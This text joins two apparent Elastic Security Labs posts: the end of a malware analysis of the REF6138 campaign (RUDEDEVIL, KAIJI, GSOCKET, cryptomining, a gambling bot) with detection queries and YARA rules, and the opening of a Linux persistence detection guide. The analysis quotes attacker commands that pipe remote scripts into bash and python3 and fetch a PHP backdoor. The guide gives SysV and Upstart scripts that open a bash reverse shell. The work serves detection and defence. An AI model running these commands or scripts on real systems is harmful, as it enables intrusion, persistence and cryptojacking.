Once all the threads are up and running, the malware shifts its focus to establishing a connection with its C2 server. This is managed by the ConnectServer function in the main thread, which handles communication with the server and executes commands remotely.

Understanding the ConnectServer Function

The first task the ConnectServer function performs is establishing a connection to the C2 server using ServerConnectCli. After successfully connecting, the malware configures the socket to enable keep-alive settings, ensuring that the connection remains stable over extended periods of time.

Once the connection is set up, the malware collects various pieces of system information, including the hostname, user information, CPU specs, and memory details. This information is then sent to the server as an initial data payload, providing the attackers with a detailed view of the infected machine.

After this initial setup, the malware enters an ongoing loop where it awaits and processes commands from the server. The types of commands handled are varied and can include tasks like launching a DDoS attack, stopping or starting CPU-intensive operations, executing system commands, or managing cryptocurrency mining activities. The loop continues indefinitely, ensuring that the malware is ready to execute any command sent by its operators.

When the connection is no longer needed, or when the malware receives a termination command, it gracefully closes the socket, ending the session with the server.

Command-and-Control (C2) Commands

The ConnectServer function processes a variety of commands from the C2 server, each designed to control a different aspect of the infected system. Here’s a breakdown of the commands handled by the malware:

• Case 4: The malware calls the DealwithDDoS function, likely initiating a Distributed Denial of Service (DDoS) attack.
• Case 5: Sets the StopFlag to 1, which could signal the malware to stop specific tasks.
• Case 6: Downloads a file from the server using http_get, changes its permissions, and then executes it. This command allows the attackers to run additional malware or scripts on the infected machine.
• Case 7: Executes a system command using the system function, providing the attackers with direct control over the system’s command line.
• Case 8: Sets StopCpu to 0, restarting any previously halted CPU tasks.
• Case 9: Sets StopCpu to 1, halting all CPU tasks.
• Case 0xA: Updates the CPU mining configuration with new data and retrieves the PID of the current process, allowing the malware to modify its cryptocurrency mining operations.
• Case 0xB: Sets stopxmr to 1, effectively stopping the XMRIG miner.
• Case 0xC: Resets stopxmr to 0 and retrieves the current process PID, resuming the mining activity.

Each command gives the malware operators precise control over how the infected machine behaves, whether it’s participating in a DDoS attack, running new malware, or managing mining operations.

Variants of RUDEDEVIL Malware and XMRIG Configuration

While the file server mentioned before was active, we observed multiple versions of the RUDEDEVIL malware being uploaded. The core functionality of these versions remained largely the same, with the only significant variation being the embedded XMRIG commands used for cryptocurrency mining.

Each version of the malware was configured to connect to the same mining pool, c3pool.org, but with slight differences in the parameters passed to the XMRIG miner:

• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p R
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p 2
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 41qBGWTRXUoUMGXsr78Aie3LYCBSDGZyaQeceMxn11qi9av1adZqsVWCrUwhhwqrt72qTzMbweeqMbA89mnFepja9XERfHL -p php
• -o stratum+tcp://auto.c3pool[.]org:19999 -u 42CJPfp1jJ6PXv4cbjXbBRMhp9YUZsXH6V5kEvp7XzNGKLnuTNZQVU9bhxsqBEMstvDwymNSysietQ5VubezYfoq4fT4Ptc -p 0

Each of these commands directs the miner to connect to the same mining pool but specifies different wallets or configurations. By examining the c3pool application, we confirmed that both XMR addresses associated with these commands are currently active and mining.

Additionally, through this analysis, we were able to estimate the total profit generated by these two mining campaigns, highlighting the financial impact of the RUDEDEVIL malware and its connection to illegal cryptocurrency mining operations.

GSOCKET

To establish persistence, the threat actor downloaded and installed GSOCKET, a network utility designed to enable encrypted communication between machines that are behind firewalls or NAT. GSOCKET creates secure, persistent connections through the Global Socket Relay Network (GSRN). This open-source tool includes features like AES-256 encryption, support for end-to-end communication security, and compatibility with SSH, netcat, and TOR, which allow for encrypted file transfers, remote command execution, and even the creation of hidden services.

Although GSOCKET is not inherently malicious, its features can be leveraged for suspicious purposes.

Once deployed, GSOCKET performs several actions to maintain persistence and conceal its presence. First, it checks the system for active kernel processes to decide which process it will masquerade as:

It then creates the /dev/shm/.gs-1000 directory to download and store its binary in shared memory. Additionally, by default, it sets up an /htop directory under /home/user/.config/htop/ to store both the GSOCKET binary and the secret key used for its operations.

Next, a cron job that runs the GSOCKET binary with the secret key every minute is set up.

The binary is executed under the name of a kernel process using the exec -a [process_name] command, further enhancing the ability to evade detection. The cron job includes a base64 encoded command that, when decoded, ensures the persistence mechanism is regularly executed and disguised as a legitimate kernel process:

When decoding the payload, we see how the defunct.dat secret key is used as an argument to execute the defunct binary, which is masqueraded as [raid5wq] through the use of exec -a command:

In addition to using cron jobs, GSOCKET has the capability to establish persistence through shell profile modification, run control (rc.local) and Systemd. GSOCKET enumerates potential persistence locations:

GSOCKET supports multiple webhooks, such as Telegram or Discord integrations, enabling remote control and notifications:

Finally, after installation, GSOCKET ensures that all files that are created or modified, will be timestomped to attempt to erase any trace of installation:

These features make GSOCKET an attractive tool for threat actors seeking stealth and persistence. In this campaign, GSOCKET was exploited to establish covert channels back to C2 servers while attempting to evade detection.

Additionally, a PHP payload was fetched from an external IP and saved as 404.php, likely functioning as a backdoor for future access. We did not manage to obtain this payload.

Post compromise dwell time

After a three-week period of quiet with no noticeable activity, the threat actors resumed operations by utilizing the built-in Python3 to establish a reverse connection to a new command-and-control server.

After regaining access to the host, a newer version of the KAIJI malware was deployed.

KAIJI malware: a comparison to previous samples

While investigating the files on the discovered file server, we saw a shell script. This shell script seems to be the main file used to download by an earlier stage, ensuring the correct architecture for the victim is used.

The same Shell script is found in other reports where this script is used to deploy KAIJI.

As part of our investigation, we analyzed the KAIJI malware samples found on the file server and compared them with samples identified by Black Lotus Labs in 2022. Their detailed analysis of Chaos (KAIJI) can be found in their blog post here.

Using BinDiff, a binary comparison tool, we compared the functions in the binaries. The analysis revealed that the code in our sample was identical to the previously identified KAIJI sample from 2022.

Although the code was the same, one critical difference stood out: the C2 server address. Although the functionality remained consistent in both binaries, they pointed to different C2 domains.

Delving deeper into the disassembly, we identified a function named main_Link. This function is responsible for decoding the C2 server address used by the malware.

Once decoded, the function searches for the |(odk)/*- postfix in the address and removes it, leaving only the C2 domain and port. This process ensures the malware can communicate with its C2 server, though the address it contacts may change between samples.

Given that some resources have been published that statically reverse engineer KAIJI, we will instead take a more detailed look at its behaviors.

After execution, KAIJI creates several files in the /etc/ and /dev/ directories, /etc/id.services.conf, /etc/32678, /dev/.img and /dev/.old. These scripts are places to establish persistence.

Two services are set up, /etc/init.d/linux_kill and crond.service. crond.service is executed by Systemd, while linux_kill is used for SysVinit persistence.

After reloading the Systemd daemon, the first network connection to the C2 is attempted.

Next, the Systemd Late generator service file is created. More information on the workings of Systemd, and different ways of establishing persistence through this method can be found in our recent blog series dubbed Linux Detection Engineering - A primer on persistence mechanisms.

KAIJI creates the /boot/System.img.config file, which is an executable that is executed through the previously deployed Systemd services. This binary, is amongst other binaries, another way of establishing persistence.

Next, KAIJI adjusts the SELinux policies to allow unauthorized actions. It searches audit logs for denied operations related to System.img.conf, generates a new SELinux policy to permit these actions, and installs the policy with elevated priority. By doing this, the malware bypasses security restrictions that would normally block its activity.

Additionally, it sets up multiple additional forms of persistence through bash profiles, and creates another two malicious artifacts; /usr/lib/libd1rpcld.so and /.img.

Right after, /etc/crontab is altered through an echo command, ensuring that the /.img file is executed by root on a set schedule.

KAIJI continues to move several default system binaries to unusual locations, attempting to evade detection along the way.

KAIJI uses the renice command to grant PID 2957, one of KAIJI's planted executables, the highest possible priority (on a scale of -20 to 19, lowest being the highest priority), ensuring it gets more CPU resources than other processes.

To evade detection, KAIJI employed the bind mount technique, a defense evasion method that obscures malicious activities by manipulating how directories are mounted and viewed within the system.

Finally, we see a trace of cron executing the /.img, which was planted in the /etc/crontab file earlier.

The saga continues

Two weeks later, the Apache backdoor became active again. Another backdoor was downloaded via the www-data user through the Apache2 process using the command:

sh -c wget http://91.92.241[.]103:8002/gk.php

The contents of this payload remain unknown. At this stage, we observed attempts at manual privilege escalation, with the attackers deploying pspy64. Pspy is a command-line tool for process snooping on Linux systems without requiring root permissions. It monitors running processes, including those initiated by other users, and captures events like cron job executions. This tool is particularly useful for analyzing system activity, spotting privilege escalation attempts, and auditing the commands and file system interactions triggered by processes in real time. It's commonly leveraged by attackers for reconnaissance in post-compromise scenarios, giving them visibility into system tasks and potential vulnerabilities​.

Notably, pspy64 was executed by the [rcu_preempt] parent, indicating that the threat actors had transitioned from leveraging the web server backdoor to using the GSOCKET backdoor.

Further attempts at privilege escalation involved exploiting CVE-2021-4034, also known as pwnkit. This vulnerability affects the pkexec component of the PolicyKit package in Linux systems, allowing an unprivileged user to execute arbitrary code with root privileges. By leveraging this flaw, an attacker can gain elevated access to the system, potentially leading to full control over the affected machine.

Custom built binaries

Right after, the attackers attempted to download a custom-built malware named apache2 and apache2v86 from:

• http://62.72.22[.]91/apache2
• http://62.72.22[.]91/apache2v86

We obtained copies of these files, which currently have zero detections on VirusTotal. However, when executing them dynamically, we observed segmentation faults, and our telemetry confirmed segfault activity on the compromised host. Over a week, the threat actor attempted to alter, upload and execute these binaries more than 15 times, but due to repeated segfaults, it is unlikely that they succeeded in running this custom malware.

While the binaries failed to execute, they still provided valuable insights during reverse engineering. We uncovered several XOR-encoded strings within the samples.

The XOR key used to encode the strings was identified as 0x79 (or the character y). After decoding the strings, we discovered fragments of an HTTP request header that the malware was attempting to construct:

/934d9091-c90f-4edf-8b18-d44721ba2cdc HTTP/1.1
sec-ch-ua: "Chromium";v="122", "Google Chrome";v="122", "Not-A.Brand";v="99
sec-ch-ua-platform: "Windows"
upgrade-insecure-requests: 1
accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
referer: https://twitter[.]com
accept-language: ru,en-US;q=0.9
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.

This indicates that the malware was in the process of constructing HTTP requests. However, based on the incomplete nature of the headers and the repeated failures in execution, it’s clear that this piece of software was not yet fully developed or operational.

Additional reconnaissance

The attackers continued to use tools from The Hacker’s Choice, by downloading and executing whatserver.sh.

This Shell script is designed to gather and display server information. It extracts details such as the fully qualified domain names (FQDNs) from SSL certificates, Nginx, and Apache configuration files, along with system resource information like CPU and memory usage, virtualization details, and network settings. The script can also summarize recent activities, including last logged-in users and currently listening services.

Mining activities

After nearly two weeks of manual exploitation attempts, the threat actors ceased their efforts to escalate privileges, likely having failed to gain root access. Instead, they established persistence as the www-data user, leveraging GSOCKET to set up an SSL connection, which was disguised as a kernel process called [mm_percpu_wq].

After decoding the base64 contents, we get a very familiar looking output:

Through our behavioral rules, we see the threat actor listing the current user’s crontab entries, and echoing a payload directly into the crontab.

This command tries to download http://gcp.pagaelrescate[.]com:8080/ifindyou every minute, and pipe it to bash. Looking at the contents of ifindyou, we see the following Bash script:

This script gathers hostname and IP information, downloads the SystemdXC archive from http://gcp.pagaelrescate[.]com:8080/t9r/SystemdXC (XMRIG), stores this in /tmp/SystemdXC, extracts the archive and executes it with the necessary parameters to start mining Bitcoin.

When examining the mining command, we can see how the malware configures XMRIG:

This command connects to the unmineable.com mining pool, using the infected machine’s hostname as an identifier in the mining process. At the time of writing, there are 15 active workers mining Bitcoin for the wallet address 1CSUkd5FZMis5NDauKLDkcpvvgV1zrBCBz.

Upon further investigation into the Bitcoin address, we found that this address has performed a single transaction.

Interestingly, the output address for this transaction points to a well-known hot wallet associated with Binance, indicating that the attackers may have transferred their mining earnings to an exchange platform.

When returning our focus back to the script, we also see two commands commented out, which will become more clear later. The script executes:

curl -s http://gcp.pagaelrescate[.]com:8080/cycnet | bash

Looking at this payload, we can see the following contents:

This stage checks the output of the command, and sends this to a Telegram chat bot. Through our Telegram behavioral rule, we can see that a Telegram POST request looks like this:

The cron job that is set up during this stage executes at minute 0, every 4th hour. This job executes:

curl -s http://gcp.pagaelrescate[.]com:8080/testslot/enviador_slot | python3

The downloaded Python script automates interactions with an online gambling game through HTTP requests. The script includes functions that handle user authentication, betting, processing the outcomes, and sending data to a remote server.

Upon closer examination, we identified the following key components of the script:

Global Variables:

• usuario: Stores the user ID for managing the session.
• apuesta: Represents the bet amount.
• ganancias: Tracks the winnings and losses.
• saldo_actual: Holds the current account balance.

Understanding the obteneruid Function

This function authenticates the user by sending a POST request with the necessary headers and JSON data to the remote server. If the user is not already set, it initializes a new session and retrieves the account balance. Upon successful authentication, it returns a session UUID, which is used for further interactions in the game.

Understanding the enviardatos Function

This function sends game data or status updates back to gcp.pagaelrescate[.]com, logging the results or actions taken during gameplay. It uses a simple GET request to transmit this data to the remote server.

Understanding the hacerjugada Function

The hacerjugada function simulates the betting process for a set number of rounds. It sends POST requests to place bets, updates the winnings or losses after each round, and calculates the overall results. If a bonus round is triggered, it calls completarbono() to handle any bonus game details. Between each betting round, the function enforces a 30-second delay to mimic natural gameplay and avoid detection.

Understanding the completarbono Function

When a bonus round is triggered, this function completes the round by sending a request containing the session ID and round ID. Based on the result, it updates the account balance and logs the winnings or losses. Any change in the balance is sent back to the remote server using the enviardatos() function.

Likely Used for Testing Purposes

It’s important to note that this script is likely being used for testing purposes, as it interacts with the demo version of the gambling app. This suggests that the attackers might be testing the automation of gambling actions or trying to find vulnerabilities in the app before moving to the live version. The use of a demo environment implies they are refining their approach, potentially in preparation for more sophisticated or widespread attacks.

REF6138 through MITRE ATT&CK

Elastic uses the MITRE ATT&CK framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks. During this investigation, we identified the following tactics, techniques and sub-techniques:

MITRE ATT&CK tactics, techniques and sub-techniques used

Detecting REF6138

Elastic Security implements a multi-layer approach to threat detection, leveraging behavioral SIEM and Endpoint rules, YARA signatures and ML-based anomaly detection approaches. This section describes the detections built by Elastic Security that play a big role in capturing the identified threats.

Detection

The following detection rules were observed throughout the analysis of this intrusion set:

• Segfault Detection
• Timestomping using Touch Command
• Shell Configuration Creation or Modification
• System Binary Moved or Copied

Prevention

The following behavior prevention events were observed throughout the analysis of this intrusion set:

• Linux Reverse Shell via Suspicious Utility
• Defense Evasion via Bind Mount
• Linux Suspicious Child Process Execution via Interactive Shell
• Potential Linux Hack Tool Launched
• Privilege Escalation via PKEXEC Exploitation
• Potential SSH-IT SSH Worm Downloaded
• Scheduled Job Executing Binary in Unusual Location

The following YARA Signatures are in place to detect the KAIJI and RUDEDEVIL malware samples both as file and in-memory:

• Linux.Generic.Threat
• Linux.Hacktool.Flooder

The following, soon to be released, endpoint rule alerts were observed throughout the analysis of this intrusion set:

• Potential Shell via Web Server
• Potential Web Server Code Injection
• Potential Shell Executed by Web Server User
• Decode Activity via Web Server
• Linux Telegram API Request
• Suspicious Echo Execution

Hunting queries in Elastic

The events for both KQL and EQL are provided with the Elastic Agent using the Elastic Defend integration. Hunting queries could return high signals or false positives. These queries are used to identify potentially suspicious behavior, but an investigation is required to validate the findings.

EQL queries

Using the Timeline section of the Security Solution in Kibana under the “Correlation” tab, you can use the below EQL queries to hunt for behaviors similar:

Potential XMRIG Execution

The following EQL query can be used to hunt for XMRIG executions within your environment.

process where event.type == "start" and event.action == "exec" and (
  (
    process.args in ("-a", "--algo") and process.args in (
      "gr", "rx/graft", "cn/upx2", "argon2/chukwav2", "cn/ccx", "kawpow", "rx/keva", "cn-pico/tlo", "rx/sfx", "rx/arq",
      "rx/0", "argon2/chukwa", "argon2/ninja", "rx/wow", "cn/fast", "cn/rwz", "cn/zls", "cn/double", "cn/r", "cn-pico",
      "cn/half", "cn/2", "cn/xao", "cn/rto", "cn-heavy/tube", "cn-heavy/xhv", "cn-heavy/0", "cn/1", "cn-lite/1",
      "cn-lite/0", "cn/0"
    )
  ) or
  (
    process.args == "--coin" and process.args in ("monero", "arqma", "dero")
  )
) and process.args in ("-o", "--url")

MSR Write Access Enabled

XMRIG leverages modprobe to enable write access to MSR. This activity is abnormal, and should not occur by-default.

process where event.type == "start" and event.action == "exec" and process.name == "modprobe" and
process.args == "msr" and process.args == "allow_writes=on"

Potential GSOCKET Activity

This activity is default behavior when deploying GSOCKET through the recommended deployment methods. Additionally, several arguments are added to the query to decrease the chances of missing a more customized intrusion through GSOCKET.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and
process.command_line : (
"*GS_ARGS=*", "*gs-netcat*", "*gs-sftp*", "*gs-mount*", "*gs-full-pipe*", "*GS_NOINST=*", "*GSOCKET_ARGS=*", "*GS_DSTDIR=*", "*GS_URL_BASE=*", "*GS_OSARCH=*", "*GS_DEBUG=*", "*GS_HIDDEN_NAME=*", "*GS_HOST=*", "*GS_PORT=*", "*GS_TG_TOKEN=*", "*GS_TG_CHATID=*", "*GS_DISCORD_KEY=*", "*GS_WEBHOOK_KEY=*"
)

Potential Process Masquerading via Exec

GSOCKET leverages the exec -a method to run a process under a different name. GSOCKET specifically leverages masquerades as kernel processes, but other malware may masquerade differently.

process where event.type == "start" and event.action == "exec" and
process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and process.command_line : "* exec -a *"

Renice or Ulimit Execution

Several malwares, including KAIJI and RUDEDEVIL, leverage the renice utility to change the priority of processes or set resource limits for processes. This is commonly used by miner malware to increase the priority of mining processes to maximize the mining performance.

process where event.type == "start" and event.action == "exec" and (
  process.name in ("ulimit", "renice") or (
  process.name in ("bash", "dash", "sh", "tcsh", "csh", "zsh", "ksh", "fish") and process.args == "-c" and
  process.command_line : ("*ulimit*", "*renice*")
  )
)

Inexistent Cron(d) Service Started

Both KAIJI and RUDEDEVIL establish persistence through the creation of a cron(d) service in /etc/init.d/cron(d). Cron, by default, does not use a SysV Init service. Execution of a cron(d) service is suspicious, and should be analyzed further.

process where event.type == "start" and event.action == "exec" and 
  process.name == "systemctl" and process.args == "start" and process.args in 
  ("cron.service", "crond.service", "cron", "crond")

Suspicious /etc/ Process Execution from KAIJI

The /etc/ directory is not a commonly used directory for process executions. KAIJI is known to place a binary called 32678 and id.services.conf in the /etc/ directory, to establish persistence and evade detection.

process where event.type == "start" and event.action == "exec" and (process.executable regex """/etc/[0-9].*""" or process.executable : ("/etc/*.conf", "/etc/.*"))

Hidden File Creation in /dev/ directory

Creating hidden files in /dev/ and /dev/shm/ are not inherently malicious, however, this activity should be uncommon. KAIJI, GSOCKET and other malwares such as K4SPREADER are known to drop hidden files in these locations.

file where event.type == "creation" and file.path : ("/dev/shm/.*", "/dev/.*")

Suspicious Process Execution from Parent Executable in /boot/

Malwares such as KAIJI and XORDDOS are known to place executable files in the /boot/ directory, and leverage these to establish persistence while attempting to evade detection.

process where event.type == "start" and event.action == "exec" and process.parent.executable : "/boot/*"

YARA

Elastic Security has created YARA rules to identify this activity. Below is the YARA rule to identify the custom Apache2 malware:

rule Linux_Trojan_Generic {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Trojan.Generic"
        reference = "https://www.elastic.co/de/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $enc1 = { 74 73 0A 1C 1A 54 1A 11 54 0C 18 43 59 5B 3A 11 0B 16 14 10 0C 14 5B }
        $enc2 = { 18 1A 1A 1C 09 0D 43 59 0D 1C 01 0D 56 11 0D 14 15 55 18 09 09 15 10 }
        $enc3 = { 18 1A 1A 1C 09 0D 54 15 18 17 1E 0C 18 1E 1C 43 59 0B 0C }
        $enc4 = { 34 16 03 10 15 15 18 56 4C 57 49 59 51 2E 10 17 1D 16 0E 0A 59 37 }
        $key = "yyyyyyyy"
    condition:
        1 of ($enc*) and $key
}

To detect GSOCKET, including several of its adjacent tools, we created the following signature:

rule Multi_Hacktool_Gsocket {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-23"
        os = "Linux, MacOS"
        arch = "x86"
        threat_name = "Multi.Hacktool.Gsocket"
        reference = "https://www.elastic.co/de/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $str1 = "gsocket: gs_funcs not found"
        $str2 = "/share/gsocket/gs_funcs"
        $str3 = "$GSOCKET_ARGS"
        $str4 = "GSOCKET_SECRET"
        $str5 = "GS_HIJACK_PORTS"
        $str6 = "sftp -D gs-netcat"
        $str7 = "GS_NETCAT_BIN"
        $str8 = "GSOCKET_NO_GREETINGS"
        $str9 = "GS-NETCAT(1)"
        $str10 = "GSOCKET_SOCKS_IP"
        $str11 = "GSOCKET_SOCKS_PORT"
        $str12 = "gsocket(1)"
        $str13 = "gs-sftp(1)"
        $str14 = "gs-mount(1)"
    condition:
        3 of them
}

Finally, the following signature was written to detect the open source Ligolo-ng tool, as we have reason to believe this tool was used during this intrusion.

rule Linux_Hacktool_LigoloNG {
    meta:
        author = "Elastic Security"
        creation_date = "2024-09-20"
        last_modified = "2024-09-20"
        os = "Linux"
        arch = "x86"
        threat_name = "Linux.Hacktool.LigoloNG"
        reference = "https://www.elastic.co/de/security-labs/betting-on-bots"
        license = "Elastic License v2"

    strings:
        $a = "https://github.com/nicocha30/ligolo-ng"
        $b = "@Nicocha30!"
        $c = "Ligolo-ng %s / %s / %s"
    condition:
        all of them
}

Defensive recommendations

To effectively defend against malware campaigns and minimize the risk of intrusion, it’s crucial to implement a multi-layered approach to security. Here are some key defensive measures you should prioritize:

1. Keep Your Elastic Detection Rules Updated and Enabled: Ensure that your security tools, including any pre-built detection rules, are up to date. Continuous updates allow your systems to detect the latest malware signatures and behaviors.
2. Enable Prevention Mode in Elastic Defend: Configure Elastic Defend in prevention mode to automatically block known threats rather than just alerting on them. Prevention mode ensures proactive defense against malware and exploits.
3. Monitor Alerts and Logs: Regularly monitor alerts, logs, and servers for any signs of suspicious activity. Early detection of unusual behavior can help prevent a small breach from escalating into a full-blown compromise.
4. Conduct Threat Hunting: Proactively investigate your environment for hidden threats that may have evaded detection. Threat hunting can uncover advanced attacks and persistent malware that bypass traditional security measures.
5. Implement Web Application Firewalls (WAFs): Use a WAF to block unauthorized or malicious traffic. A properly configured firewall can prevent many common web attacks.
6. Enforce Strong Authentication for SSH: Use public/private key authentication for SSH access to protect against brute force attacks.
7. Write Secure Code: Ensure that all custom software, especially web server technology, follows secure coding practices. Engaging professional security auditors to review your code can help identify and mitigate vulnerabilities before they are exploited.
8. Regularly Patch and Update Systems: Keeping servers, applications, and software up to date is essential to defending against known vulnerabilities. Prompt patching minimizes the risk of being targeted by off-the-shelf exploits.

By following these recommendations, you can significantly reduce the attack surface and strengthen your defense against ongoing or potential malware threats.

Observations

The following observables were discussed in this research. These are available for download in STIX or ECS format here.

References

The following were referenced throughout the above research:

• https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html
• https://blog.lumen.com/chaos-is-a-go-based-swiss-army-knife-of-malware/
• https://www.fortinet.com/blog/threat-research/multiple-threats-target-adobe-coldfusion-vulnerabilities
• https://www.aquasec.com/blog/lucifer-ddos-botnet-malware-is-targeting-apache-big-data-stack/
• https://github.com/hackerschoice/gsocket

In this third part of the Linux Detection Engineering series, we’ll dive deeper into the world of Linux persistence. We start with common or straightforward methods and move towards more complex or obscure techniques. The goal remains the same: to educate defenders and security researchers on the foundational aspects of Linux persistence by examining both trivial and more complicated methods, understanding how these methods work, how to hunt for them, and how to develop effective detection strategies.

In the previous article - "Linux Detection Engineering - a primer on persistence mechanisms" - we explored the foundational aspects of Linux persistence techniques. If you missed it, you can find it here.

We'll set up the persistence mechanisms, analyze the logs, and observe the potential detection opportunities. To aid in this process, we’re sharing PANIX, a Linux persistence tool that Ruben Groenewoud of Elastic Security developed. PANIX simplifies and customizes persistence setup to test potential detection opportunities.

By the end of this series, you'll have gained a comprehensive understanding of each of the persistence mechanisms that we covered, including:

• How it works (theory)
• How to set it up (practice)
• How to detect it (SIEM and Endpoint rules)
• How to hunt for it (ES|QL and OSQuery reference hunts)

Let’s go beyond the basics and dig a little bit deeper into the world of Linux persistence, it’s fun!

Setup note

To ensure you are prepared to detect the persistence mechanisms discussed in this article, it is important to enable and update our pre-built detection rules. If you are working with a custom-built ruleset and do not use all of our pre-built rules, this is a great opportunity to test them and potentially fill in any gaps. Now, we are ready to get started.

T1037 - boot or logon initialization scripts: Init

Init, short for "initialization," is the first process started by the kernel during the boot process on Unix-like operating systems. It continues running until the system is shut down. The primary role of an init system is to start, stop, and manage system processes and services.

There are three major init implementations - Systemd, System V, and Upstart. In part 1 of this series, we focused on Systemd. In this part, we will explore System V and Upstart. MITRE does not have specific categories for System V or Upstart. These are generally part of T1037.

T1037 - boot or logon initialization scripts: System V init

System V (SysV) init is one of the oldest and most traditional init systems. SysV init scripts are gradually being replaced by modern init systems like Systemd. However, systemd-sysv-generator allows Systemd to handle traditional SysV init scripts, ensuring older services and applications can still be managed within the newer framework.

The /etc/init.d/ directory is a key component of the SysV init system. It is responsible for controlling the startup, running, and shutdown of services on a system. Scripts in this directory are executed at different run levels to manage various system services. Despite the rise of Systemd as the default init system in many modern Linux distributions, init.d scripts are still widely used and supported, making them a viable option for persistence.

The scripts in init.d are used to start, stop, and manage services. These scripts are executed with root privileges, providing a powerful means for both administrators and attackers to ensure certain commands or services run on boot. These scripts are often linked to runlevel directories like /etc/rc0.d/, /etc/rc1.d/, etc., which determine when the scripts are run. Runlevels, ranging from 0 to 6, define specific operational states, each configuring different services and processes to manage system behavior and user interactions. Runlevels vary depending on the distribution, but generally look like the following:

• 0: Shutdown
• 1: Single User Mode
• 2: Multiuser mode without networking
• 3: Multiuser mode with networking
• 4: Unused
• 5: Multiuser mode with networking and GUI
• 6: Reboot

During system startup, scripts are executed based on the current runlevel configuration. Each script must follow a specific structure, including start, stop, restart, and status commands to manage the associated service. Scripts prefixed with S (start) or K (kill) dictate actions during startup or shutdown, respectively, ordered by their numerical sequence.

An example of a malicious init.d script might look similar to the following:

#! /bin/sh
### BEGIN INIT INFO
# Provides:             malicious-sysv-script
# Required-Start:       $remote_fs $syslog
# Required-Stop:        $remote_fs $syslog
# Default-Start:        2 3 4 5
# Default-Stop:         0 1 6
### END INIT INFO

case "$1" in
  start)
    echo "Starting malicious-sysv-script"
    nohup setsid bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'
    ;;
esac

The script must be placed in the /etc/init.d/ directory and be granted execution permissions. Similarly to Systemd services, SysV scripts must also be enabled. A common utility to manage SysV configurations is update-rc.d. It allows administrators to enable or disable services and manage the symbolic links (start and kill scripts) in the /etc/rc*.d/ directories, automatically setting the correct runlevels based on the configuration of the script.

sudo update-rc.d malicious-sysv-script defaults

The malicious-sysv-script is now enabled and ready to run on boot. MITRE specifies more information and real-world examples related to this technique in T1037.

Persistence through T1037 - System V init

You can manually set up a test script within the /etc/init.d/ directory, grant it execution permissions, enable it, and reboot it, or simply use PANIX. PANIX is a Linux persistence tool that simplifies and customizes persistence setup for testing your detections. We can use it to establish persistence simply by running:

> sudo ./panix.sh --initd --default --ip 192.168.1.1 --port 2006
> [+] init.d backdoor established with IP 192.168.1.1 and port 2006.

Prior to rebooting and actually establishing persistence, we can see the following documents being generated in Discover:

After executing PANIX, it generates a SysV init script named /etc/init.d/ssh-procps, applies executable permissions using chmod +x, and utilizes update-rc.d. This command triggers systemctl daemon-reload, which, in turn, activates the systemd-sysv-generator to enable ssh-procps during system boot.

Let’s reboot the system and look at the events that are generated on shutdown/boot.

As the SysV init system is loaded early, the start command is not logged. Since it is impossible to detect an event before events are being ingested, we need to be creative in detecting this technique. Elastic will capture already_running event actions for service initialization events. Through this chain we are capable of detecting the execution of the service, followed by the reverse shell that was initiated. We have several detection opportunities for this persistence technique.

Hunting for T1037 - System V init

Other than relying on detections, it is important to incorporate threat hunting into your workflow, especially for persistence mechanisms like these, where events can potentially be missed due to timing. This blog will solely list the available hunts for each persistence mechanism; however, more details regarding this topic are outlined at the end of the first section in the previous article on persistence. Additionally, descriptions and references can be found in our Detection Rules repository, specifically in the Linux hunting subdirectory.

We can hunt for System V Init persistence through ES|QL and OSQuery, focusing on unusual process executions and file creations. The Persistence via System V Init rule contains several ES|QL and OSQuery queries that can help hunt for these types of persistence.

T1037 - boot or logon initialization scripts: Upstart

Upstart was introduced as an alternative init system designed to improve boot performance and manage system services more dynamically than traditional SysV init. While it has been largely supplanted by systemd in many Linux distributions, Upstart is still used in some older releases and legacy systems.

The core of Upstart's configuration resides in the /etc/init/ directory, where job configuration files define how services are started, stopped, and managed. Each job file specifies dependencies, start conditions, and actions to be taken upon start, stop, and other events.

In Upstart, run levels are replaced with events and tasks, which define the sequence and conditions under which jobs are executed. Upstart introduces a more event-driven model, allowing services to start based on various system events rather than predefined run levels.

Upstart can run system-wide or in user-session mode. While system-wide configurations are placed in the /etc/init/ directory, user-session mode configurations are located in:

• ~/.config/upstart/
• ~/.init/
• /etc/xdg/upstart/
• /usr/share/upstart/sessions/

An example of an Upstart job file can look like this:

description "Malicious Upstart Job"
author "Ruben Groenewoud"

start on runlevel [2345]
stop on shutdown

exec nohup setsid bash -c 'bash -i >& /dev/tcp/$ip/$port 0>&1'

The malicious-upstart-job.conf file defines a job that starts on run levels 2, 3, 4, and 5 (general Linux access and networking), and stops on run levels 0, 1, and 6 (shutdown/reboot). The exec line executes the malicious payload to establish a reverse shell connection when the system boots up.

To enable the Upstart job and ensure it runs on boot, the job file must be placed in /etc/init/ and given appropriate permissions. Upstart jobs are automatically recognized and managed by the Upstart init daemon.

